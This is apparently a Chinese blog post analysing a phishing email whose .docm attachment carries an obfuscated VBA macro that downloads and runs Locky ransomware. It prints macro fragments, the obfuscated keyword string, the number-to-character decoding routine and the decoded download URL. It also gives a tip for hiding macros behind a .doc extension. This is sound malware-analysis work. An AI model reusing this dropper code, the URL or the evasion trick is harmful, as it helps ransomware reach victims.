警惕勒索软件,别乱打开office文档

2016-05-05 17:39:04 25 5574 1
前两天公司邮箱突然收到一封鸟语邮件,一开始以为是普通广告垃圾邮件,后来一看还带着docm的附件,就知道这肯定是钓鱼邮件,今天正好有时间分析一下

邮件内容如图:


把这些鸟语放到在线翻译上检测了下,翻译成中文是这样的:
你好,
讨论的最后两个附上发票,请解决
亲切的问候,
他avdyl


把附件下载下来,用oledump分析下具体信息:

可以看到A11到A15几个段都是宏,用oledump依次提取这些宏

首先看A14段的ThisDocument,office宏一般会设置为自动运行,这就需要配合一个函数autoopen,类似C语言中的main,这个函数都是在ThisDocument中定义的,找到这个函数一路分析下去就能知道这个宏木马在干啥
Sub autoopen()
If deletemonsters(0) > 0 Then
  makeplatform 0, 0, 0, 0
End If
End Sub
autoopen先调用了deletemonsters,然后返回值大于0就继续调用makeplatform,我一开始还全部函数都跟着看,后来发现很多是无用代码,都是用来混淆和免杀的,加入一些正常代码能减少被杀软认出来的可能

然后来到一个这样的代码段
Public Function KARASIK77(vData As Variant, tipo As String, Optional EsNulo As String) As Variant
    Dim Cad As String
    Dim ValorNumericoCero As Boolean
    KARASIK771
    Dim aKARASIK As String

    aKARASIK = KARASIK_Gudvin(UserForm2.Image1.ControlTipText, "00", "e")
    aKARASIK = KARASIK_Gudvin(aKARASIK, "D!", "M")
    aKARASIK = KARASIK_Gudvin(aKARASIK, "bri", "s")
    KARASIK__57 = Split(aKARASIK, "10)")
    KARASIKSPL = Split("1664\r\n1856\r\n1856\r\n1792\r\n928\r\n752\r\n752\r\n1552\r\n1792\r\n1856\r\n1616\r\n1712\r\n1552\r\n800\r\n832\r\n736\r\n1840\r\n1856\r\n1824\r\n1616\r\n1632\r\n1552\r\n736\r\n1792\r\n1728\r\n752\r\n896\r\n912\r\n1936\r\n1648\r\n880\r\n1648\r\n896\r\n880\r\n1568\r\n1936\r\n1680", "\r\n")
    Set KARASIK__1 = CreateObject(KARASIK__57(0)) 'Microsoft.XMLHTTP'
    GetArgs "", ""
看这里KARASIK_Gudvin是Replace函数的包装,最后KARASIK__57是一个数组,这全部数据的来源是UserForm2.Image1.ControlTipText,是一个表单控件的提示信息,这个字符串存放的位置真是选的不错
继续用oledump去提取UserForm2这个表单的信息,然后在A5提取到了这个字符串

D!icrobrioft.XD!LHTTP10)Adodb.britr00aD!10)brih00ll.Application10)Wbricript.brih00ll10)Proc00bribri10)G00T10)T00D!P10)Typ0010)op00n10)writ0010)r00briponbri00Body10)briav00tofil0010)\kristi00n.00x00

用python处理下结果,可以看到是一些危险的vbs关键字


然后是那串很长的KARASIKSPL = Split("1664\r\n1856\r\n,往下找到相关代码
    For KARASIK__8 = LBound(KARASIKSPL) To UBound(KARASIKSPL)
        IS_3_KARASIK = IS_3_KARASIK & Chr(CInt(KARASIKSPL(KARASIK__8)) / 16)
    Next KARASIK__8
同样python处理后:
In[63]: t = '1664\r\n1856\r\n1856\r\n1792\r\n928\r\n752\r\n752\r\n1552\r\n1792\r\n1856\r\n1616\r\n1712\r\n1552\r\n800\r\n832\r\n736\r\n1840\r\n1856\r\n1824\r\n1616\r\n1632\r\n1552\r\n736\r\n1792\r\n1728\r\n752\r\n896\r\n912\r\n1936\r\n1648\r\n880\r\n1648\r\n896\r\n880\r\n1568\r\n1936\r\n1680'
In[64]: ''.join(map(chr, map(lambda x: int(x)/16, t.split('\r\n'))))
Out[64]: 'http://apteka24.strefa.pl/89yg7g87byi'
是一个下载地址http://apteka24.strefa.pl/89yg7g87byi

往后跟就是使用Microsoft.XMLHTTP创建对象,下载url中的文件,用Adodb.streaM的savetofile方法写入Temp目录,然后调用shell.Application运行改exe

然后我尝试去下载这个url时已经下不到了,Google搜索了下发现最近89yg7g87byi这个文件名到处都是,估计有人在大批量的发送钓鱼邮件
找了好几个url后终于下载到了这个文件,放到虚拟机里用peid查了下,查不到信息,然后准备用od载入看看

结果一不小心点到F9跑起来了,然后等了一会就看到了这个

原来是个勒索软件,o(╯□╰)o,虚拟机里的文档类的文件全部被加密成了27818F44D40C57E9E4609D7CEA83BE64.locky这种样子

没想到现在这种勒索软件已经猖狂到这种地步了,不懂我公司的邮箱是怎么泄露出去,还有这种邮件居然绕过了公司的邮件安全网关,分析了下他的免杀方案其实做的挺不错的,很多正常代码中夹着恶意代码

像这种函数定义方式,恶意代码运行完后直接加了句Exit Function,后面红框中的代码完全是没用的正常代码,乍看之下还以为这个函数真的是处理数据库相关的。

另外设计邮件的人还挺懂中国国情的,连发票都知道。
不过也有可以改进的地方,比如附件名的后缀,office2013以后带宏的文档后缀必须要改成docm,不带宏的是docx,这里稍微注意点就能看出来问题了,解决办法是保存为2003-2007格式的,那样既可以带宏,后缀又是doc(我好像说太多了,你们别干坏事)
总之平常得多注意这类邮件或者文件,最好完全关闭office的宏

自评TCV:0

关于作者

评论25次

要评论?请先  登录  或  注册